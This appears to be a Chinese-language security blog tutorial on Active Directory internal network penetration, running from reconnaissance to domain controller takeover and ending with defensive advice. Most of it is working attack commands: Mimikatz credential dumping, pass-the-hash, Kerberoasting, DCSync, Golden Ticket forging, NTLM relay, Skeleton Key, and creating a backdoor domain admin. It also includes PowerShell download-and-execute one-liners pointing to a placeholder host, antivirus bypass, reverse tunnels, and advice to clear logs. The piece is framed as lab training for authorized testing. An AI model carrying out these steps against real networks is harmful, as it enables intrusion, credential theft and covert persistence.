PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】内网渗透入门:从信息收集到域控拿下完整链路(含完整攻击链与防御)

📅 2026年6月14日 📁 Hermes Agent ⏱ 6 分钟

适合人群:初级至中级渗透测试工程师、红队成员、SRC漏洞挖掘者

前置知识:网络基础(TCP/IP、HTTP)、基本的Linux命令行操作、内网概念

实验环境:VMware(Windows靶机 + Kali攻击机 + 域控制器)+ 建议隔离局域网操作


一、前置准备

1.1 工具安装


# Kali/Parrot 预装工具(大部分已包含)
# 信息收集
apt-get install -y nmap masscan bloodhound.py crackmapexec impacket-scripts

# 横向移动与提权
pip3 install kerbrute responder impacket ldap3

# 域渗透
git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket
pip3 install -r /opt/impacket/requirements.txt

# 内网穿透(用于反向连接)
wget https://github.com/fatedier/frp/releases/latest/download/frp_0.58.0_linux_amd64.tar.gz
tar xzf frp_0.58.0_linux_amd64.tar.gz

1.2 靶场搭建

推荐使用以下方式搭建内网渗透训练环境:


# 方式一:VulnNet(推荐,内网拓扑齐全)
# https://www.vulnhub.com/series/vulnnet/

# 方式二:Game of Active Directory (GOAD)
git clone https://github.com/Orange-Cyberdefense/GOAD.git
cd GOAD
docker-compose up -d

1.3 内网渗透核心流程


信息收集 → 横向移动 → 权限维持 → 域控拿下
    │          │           │           │
    ├ 存活主机  ├ 凭证窃取   ├ 计划任务   ├ DCSync攻击
    ├ 端口服务  ├ Pass-the-Hash  ├ 后门服务  ├ Golden Ticket
    ├ 漏洞扫描  ├ PsExec/WMI ├ WMI事件   ├ Skeleton Key
    └ 域信息   └ RDP横向   └ 域持久化  └ DC Admin

二、核心原理

2.1 什么是内网渗透?

内网渗透指攻击者已经获得外网边界点(Webshell、VPN、WiFi)后,在组织内部网络中进行横向移动、权限提升、数据窃取的过程。

核心目标链:


边界突破 → 立足点建立 → 信息收集 → 凭证窃取 → 横向移动 → 域控拿下 → 数据窃取

2.2 内网常见架构

架构类型特点渗透难度
工作组无域,每台机器独立管理⭐ 较低
单域一个域控制器管所有⭐⭐ 中等
多域/林多个域/林互信⭐⭐⭐⭐ 高
DMZ + 内网分离隔离区到内网需多重跳板⭐⭐⭐⭐⭐ 极高

2.3 关键协议与端口

协议/服务端口作用
SMB445文件共享、PsExec横向
RDP3389远程桌面
WinRM5985/5986远程管理
LDAP389/636域信息查询
Kerberos88域认证
DNS53域解析
MS-SQL1433数据库横向
WMI135远程命令执行

三、实操步骤

🔴 第一阶段:信息收集(决定成败的关键)

Step 1:存活主机探测


# 内网存活扫描(推荐用 Responder 被动探测 + 主动扫描)
# 被动:在内网等待广播包
responder -I eth0 -Pdv

# 主动ICMP扫描
nmap -sn 192.168.1.0/24 -oG alive.txt
cat alive.txt | grep Up | awk '{print $2}'

# 快速端口扫描(重点关注域控相关端口)
nmap -p 88,389,445,3389,5985,135,53 192.168.1.0/24 -T4 --open

Step 2:域信息收集


# 发现域控制器(DC)
nslookup -type=SRV _ldap._tcp.dc._msdcs.target.com

# 或使用 CrackMapExec
cme ldap 192.168.1.0/24 -d target.com -u '' -p ''
cme smb 192.168.1.0/24

# 使用 BloodHound 收集域信息(需要域用户凭证)
bloodhound-python -d target.com -u 'user' -p 'Password123' -ns 192.168.1.10 -c all

Step 3:服务漏洞扫描


# 常见高危服务检测
nmap --script smb-vuln-* -p 445 192.168.1.0/24
nmap --script rdp-vuln-* -p 3389 192.168.1.0/24

# 使用 Vulnmap / Nuclei 模板
nuclei -l alive_hosts.txt -t ~/nuclei-templates/ -c 10

🔴 第二阶段:凭证窃取

Step 1:本地凭据提取


# 拿到初始 Shell 后
# Mimikatz(需要管理员权限)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

# 或使用 impacket 的 secretsdump(需要高权限)
impacket-secretsdump target.com/user:'Password123'@192.168.1.10

# 查找明文密码文件
findstr /SIM /C:"password" *.txt *.ini *.xml *.config
find / -name "*.kdbx" 2>/dev/null  # Keepass数据库

Step 2:Pass-the-Hash(PTH)

拿到NTLM Hash后无需知道明文,直接认证:


# 使用 impacket 的 psexec
impacket-psexec -hashes :e2fc4a5c6b7d8e9f0a1b2c3d4e5f6a7b target.com/admin@192.168.1.20

# 或 wmiexec(更隐蔽)
impacket-wmiexec -hashes :e2fc4a5c6b7d8e9f0a1b2c3d4e5f6a7b target.com/admin@192.168.1.20

# CrackMapExec 批量PTH
cme smb 192.168.1.0/24 -u administrator -H e2fc4a5c6b7d8e9f0a1b2c3d4e5f6a7b -x whoami

Step 3:Kerberoasting

请求域用户的服务票据,离线破解服务账户密码:


# 用 impacket 的 GetUserSPNs
impacket-GetUserSPNs -dc-ip 192.168.1.10 target.com/user:'Password123' -request

# 保存到文件后用 hashcat 破解
hashcat -m 13100 kerberos_hash.txt /usr/share/wordlists/rockyou.txt

Step 4:AS-REP Roasting

找到不需要预认证(UF_DONT_REQUIRE_PREAUTH)的域用户:


# 枚举无预认证用户
impacket-GetNPUsers -dc-ip 192.168.1.10 target.com/ -usersfile users.txt -format hashcat

# 破解
hashcat -m 18200 asrep_hash.txt rockyou.txt

🔴 第三阶段:横向移动

Step 1:SMB/PTH 横向


# 使用 CrackMapExec 批量检测可达机器
cme smb 192.168.1.0/24 -u administrator -H e2fc4a5c6b7d8e9f0a1b2c3d4e5f6a7b

# PsExec 执行命令
impacket-psexec target.com/administrator@192.168.1.30 -hashes :e2fc4a5c6b7d8e9f0a1b2c3d4e5f6a7b

# 执行上线命令
cme smb 192.168.1.0/24 -u administrator -H e2fc4a5c6b7d8e9f0a1b2c3d4e5f6a7b -x "powershell -c IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/shell.ps1')"

Step 2:服务利用横向


# WinRM 横向
impacket-wmiexec -hashes :e2fc4a5c6b7d8e9f0a1b2c3d4e5f6a7b target.com/administrator@192.168.1.40

# MS-SQL 数据库横向
cme mssql 192.168.1.0/24 -u sa -p 'sa_password' -x whoami

# SMBExec
impacket-smbexec -hashes :e2fc4a5c6b7d8e9f0a1b2c3d4e5f6a7b target.com/administrator@192.168.1.50

🔴 第四阶段:拿下域控

方式一:DCSync 攻击(最推荐)

拥有域管理员权限后,从DC同步所有用户Hash:


# 使用 impacket 的 secretsdump
impacket-secretsdump -just-dc target.com/administrator@192.168.1.10

# 或使用 mimikatz(在已控机器上)
lsadump::dcsync /domain:target.com /all /csv

方式二:Golden Ticket 攻击

拿到KRBTGT Hash后,构造永不失效的黄金票据:


# 在Mimikatz中
privilege::debug
# 获取KRBTGT Hash(需要DC权限或DCSync)
lsadump::dcsync /domain:target.com /user:krbtgt

# 伪造黄金票据
kerberos::golden /domain:target.com /sid:S-1-5-21-xxxx /krbtgt:KRBTGT_HASH /user:Administrator /id:500 /ptt

# 验证票据
klist

# 使用票据访问DC
dir \\DC01\C$

方式三:NTLM Relay + Printer Bug

利用打印机服务强制DC连接攻击者:


# 1. 攻击机开启 NTLM 中继
impacket-ntlmrelayx -t ldap://192.168.1.10 -smb2support --delegate-access

# 2. 在已控机器上触发 Printer Bug
python3 PrinterBug.py target.com/user@192.168.1.60 x.x.x.x

🔴 第五阶段:权限维持


# DC 上的持久化手段
# 1. DSRM 密码同步(域恢复模式密码)
ntdsutil
> set dsrm password
> sync from domain account krbtgt

# 2. Skeleton Key(万能密码,重启失效)
misc::skeleton

# 3. 创建域管理员用户
net user backdoor Passw0rd! /add /domain
net group "Domain Admins" backdoor /add /domain

四、绕过技术

4.1 绕过杀软横向


# 使用 PowerShell 内存执行(无文件落盘)
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/loader.ps1')"

# 使用 Cobalt Strike / Sliver 等 C2 框架的 SMB Beacon
# 通过命名管道横向

# 使用原生系统工具(LOLBins)
wmic /node:192.168.1.30 process call create "powershell -enc BASE64_ENCODED_CMD"

4.2 绕过网络隔离


# 使用端口转发
# frp(内网穿透)
# frps(服务端配置文件)
[common]
bind_port = 7000

# frpc(客户端——内网机器)
[common]
server_addr = x.x.x.x
server_port = 7000

[plugin_socks]
type = tcp
remote_port = 1080
plugin = socks5

# 或使用 SSH 隧道
ssh -o StrictHostKeyChecking=no -R 1080:localhost:1080 user@x.x.x.x

五、实战案例复盘(脱敏)

场景: 某次授权渗透测试,目标公司使用 域+工作组 混合架构。

攻击路径:


1. 边界发现Tomcat弱口令 → 上传war包 → 获Webshell
2. 内网扫描发现域控192.168.x.10(端口88/389开放)
3. 使用 BloodHound 分析发现 MSSQL 服务账户可DCSync
4. 提权至MSSQL服务账户 → CrackMapExec 验证域管理员
5. DCSync 获取所有用户Hash → 登录域控 → 取证完成

关键细节: 整条链用时约3小时,核心突破点是MSSQL服务账户权限配置不当——该账户被意外加入了Domain Admins组。这也是内网渗透中最常见的配置缺陷。


六、防御建议

攻击手法防御措施优先级
Weak passwords/PTH启用Windows Defender Credential Guard、禁止明文密码存储🔴 高
Kerberoasting设置服务账户密码≥25位、定期更换mSVCPassword🔴 高
Pass-the-Hash启用LSA保护、限制本地管理员权限🔴 高
DCSync限制域控复制权限、监控4662事件🔴 高
BloodHound分析最小权限原则、定期审计AD权限配置🟠 中
SMB远程执行禁用SMBv1、防火墙规则限制445端口出站🟠 中

快速加固脚本


# 1. 启用LSA保护
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1

# 2. 限制Debug权限
secedit /configure /db secedit.sdb /cfg secpol.inf /areas USER_RIGHTS

# 3. 监控关键事件
# 事件ID 4662: 访问对象(审计AD复制)
# 事件ID 4624: 登录成功(审计PTH登录类型3)
# 事件ID 4768: TGT请求(审计Kerberoasting)

七、常见陷阱

#陷阱正确做法
1拿到Shell就急着提权,忘记信息收集信息收集占内渗透60%精力,没充分收集就盲动会漏掉关键路径
2只在已控机器上横向,不动摇基础有些横向方式(如WMI)会在目标机上留下大量日志
3拿到域管后就只是挂机尽快完成目的操作,域管权限可能在下次同步时失效
4忽略日志清除默认Windows日志保留大量痕迹,需要小心清理
5只有IPC$横向一种方式至少掌握3种以上横向方法(SMB/WMI/WinRM/DCOM/SC)
6在域控上大量扫描和爆破域控有极高的日志监控力度,优先用DCSync等静默方法

八、总结(速查表)

内网渗透速查命令表

阶段命令用途
信息收集nmap -sV -p 88,389,445,3389,5985 <target>发现域服务
信息收集bloodhound-python -d <domain> -u <user> -p <pass> -ns <DC-IP> -c all域信息分析
凭证窃取impacket-secretsdump <domain>/<user>@<target>导出所有Hash
凭证窃取impacket-GetNPUsers <domain>/ -usersfile <users>AS-REP Roasting
凭证窃取impacket-GetUserSPNs <domain>/<user>:<pass> -requestKerberoasting
横向移动cme smb <CIDR> -u admin -H <hash> -x <cmd>批量SMB执行
横向移动impacket-psexec -hashes :<hash> <domain>/admin@<target>PTH执行
域控拿下impacket-secretsdump -just-dc <domain>/admin@<DC-IP>DCSync
域控拿下mimikatz kerberos::golden /krbtgt:<hash> /pttGolden Ticket
权限维持net group "Domain Admins" backdoor /add /domain创建隐藏域管

关键提醒

内网渗透的本质是「信任链攻击」——找到组织内部各系统之间的信任关系,一步步扩大控制范围。没捷径,老老实实从信息收集做起。

← 返回首页